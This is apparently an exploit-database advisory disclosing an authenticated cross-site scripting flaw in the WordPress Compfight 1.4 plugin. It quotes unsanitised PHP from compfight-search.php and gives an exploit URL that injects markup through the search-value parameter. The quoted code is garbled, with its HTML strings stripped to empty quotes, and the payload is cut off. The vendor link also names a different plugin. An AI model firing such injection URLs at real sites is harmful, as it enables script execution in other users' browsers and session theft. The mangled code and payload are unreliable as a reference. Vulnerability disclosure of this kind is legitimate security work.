###################### # Exploit Title : Wordpress Compfight 1.4 Authenticated Cross Site Scripting # Exploit Author : Claudio Viviani # Vendor Homepage : http://wordpress.org/plugins/easy-banners/ # Software Link : http://downloads.wordpress.org/plugin/compfight.1.4.zip # Date : 2014-07-03 # Tested on : Windows 7 / Mozilla Firefox ###################### # Location : http://localhost/wp-content/plugins/compfight/compfight-search.php ###################### # Vulnerable code : if (!$search_value) { $input_text = 'Enter Keyword(s)'; } else { $input_text = $search_value; } if ($show_title) { $output .= '

Compfight

'; $output .= '

Locate the visual inspiration
you need. Super fast!

'; } $output .= '
'; $output .= ''; $output .= ''; $output .= '
'; $input_text variable not sanitized ###################### Exploit Code: http://localhost/plugins/compfight/compfight-search.php?search-value='"/>&search=Search ##################### Discovered By : Claudio Viviani http://www.homelab.it info@homelab.it https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ #####################